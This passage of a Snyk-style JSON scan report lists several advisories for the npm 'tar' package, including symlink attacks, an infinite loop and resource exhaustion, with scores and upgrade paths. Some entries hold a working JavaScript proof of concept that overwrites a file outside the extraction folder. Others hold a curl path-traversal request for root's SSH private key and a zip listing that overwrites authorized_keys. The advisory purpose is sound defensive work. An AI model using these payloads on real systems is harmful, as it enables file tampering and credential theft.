example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", 